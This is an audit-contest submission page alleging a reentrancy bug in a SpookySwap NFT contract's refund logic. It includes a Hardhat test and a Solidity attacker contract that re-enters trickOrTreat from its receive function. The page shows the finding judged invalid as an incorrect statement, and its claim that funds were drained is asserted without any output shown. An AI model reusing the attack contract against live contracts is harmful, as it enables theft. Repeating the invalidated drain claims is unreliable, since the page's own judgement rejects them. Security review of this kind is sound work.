Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy in refund mechanism of SpookySwap contract allows a malicious actor to re-enter the contract, draining funds or minting multiple NFTs

Summary

The SpookySwap smart contract includes a refund mechanism within the trickOrTreat and resolveTrick functions. However, these functions are vulnerable to reentrancy attacks due to their usage of the call function for issuing refunds to users. This vulnerability allows a malicious actor to re-enter the contract, potentially draining funds or minting multiple NFTs.

Vulnerability Details

In SpookySwap, when excess funds are sent by a user to trickOrTreat or resolveTrick, the contract attempts to refund the surplus Ether by calling:

(bool refundSuccess, ) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");

Although this code is standard for issuing refunds, it is vulnerable to reentrancy attacks. Here’s how an attacker could exploit this:

  1. The call function can be hijacked by a malicious contract, which can initiate a fallback function that re-enters trickOrTreat or resolveTrick before the original function call completes.

  2. By repeatedly re-entering and calling trickOrTreat or resolveTrick, the attacker can drain the contract’s funds through repeated refunds.

  3. The attacker could also trigger multiple NFT mints by re-entering the contract functions and manipulating the state of nextTokenId, leading to unauthorized minting.

Below is the specific portion of the contract code where the refund mechanism is implemented:

if (msg.value > requiredCost) {
uint256 refund = msg.value - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}

The same approach is used in the resolveTrick function:

if (totalPaid > requiredCost) {
uint256 refund = totalPaid - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}

Proof of Concept (PoC)

A malicious contract can repeatedly call trickOrTreat or resolveTrick, receiving a refund each time. By implementing a fallback function that recursively re-enters these functions, the attacker can drain funds or mint multiple NFTs.

  1. Deploy SpookySwap contract in Hardhat.

  2. Create a malicious contract with a fallback function that re-enters trickOrTreat to trigger repeated refunds.

Here’s the Hardhat test simulating the reentrancy attack:

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("SpookySwap Reentrancy Attack", function () {
let SpookySwap, MaliciousContract, spookySwap, maliciousContract;
let owner, attacker, user;
beforeEach(async () => {
[owner, attacker, user] = await ethers.getSigners();
const TreatList = [
{ name: "CandyCorn", cost: ethers.utils.parseEther("0.1"), metadataURI: "ipfs://candy-corn-metadata" }
];
// Deploy SpookySwap contract
const SpookySwap = await ethers.getContractFactory("SpookySwap");
spookySwap = await SpookySwap.deploy(TreatList);
await spookySwap.deployed();
// Deploy Malicious Contract
const MaliciousContract = await ethers.getContractFactory("MaliciousContract");
maliciousContract = await MaliciousContract.connect(attacker).deploy(spookySwap.address);
await maliciousContract.deployed();
});
it("Exploits reentrancy to drain refunds", async () => {
// Attacker initiates trickOrTreat through the malicious contract
const treatName = "CandyCorn";
const exploitTx = await maliciousContract.connect(attacker).attack(treatName, { value: ethers.utils.parseEther("0.2") });
await exploitTx.wait();
// Check SpookySwap contract's balance after attack
const balanceAfterAttack = await ethers.provider.getBalance(spookySwap.address);
console.log("SpookySwap balance after attack:", ethers.utils.formatEther(balanceAfterAttack));
});
});

The malicious contract below re-enters trickOrTreat upon receiving a refund:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface ISpookySwap {
function trickOrTreat(string memory _treatName) external payable;
}
contract MaliciousContract {
ISpookySwap public spookySwap;
bool public attackInProgress;
constructor(address _spookySwapAddress) {
spookySwap = ISpookySwap(_spookySwapAddress);
}
function attack(string memory _treatName) public payable {
attackInProgress = true;
spookySwap.trickOrTreat{value: msg.value}(_treatName);
attackInProgress = false;
}
// Fallback function for reentrancy
receive() external payable {
if (attackInProgress) {
spookySwap.trickOrTreat("CandyCorn");
}
}
}

Output indicates that the attacker has drained the contract’s funds through repeated refunds.

Impact

A reentrancy attack of this nature allows malicious users to:

  1. Drain Contract Funds: Repeatedly trigger refunds until all funds in the contract are depleted.

  2. Mint Unauthorized NFTs: If the contract allows minting NFTs as part of the trickOrTreat function, the attacker could also mint numerous unauthorized NFTs.

  3. Damage User Trust: Exploiting this vulnerability could lead to severe financial losses and erode user trust, especially in high-value contracts.

Tools Used

Manual review.

Recommendations

Using transfer or send instead of call limits the gas provided to the receiving address to 2300, which is insufficient to perform a reentrant call.

Here’s an example with these mitigations:

function trickOrTreat(string memory _treatName) public payable nonReentrant {
// Code to calculate requiredCost and minting logic
uint256 refund = msg.value - requiredCost;
if (refund > 0) {
payable(msg.sender).transfer(refund);
}
}
Updates

Appeal created

bube Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.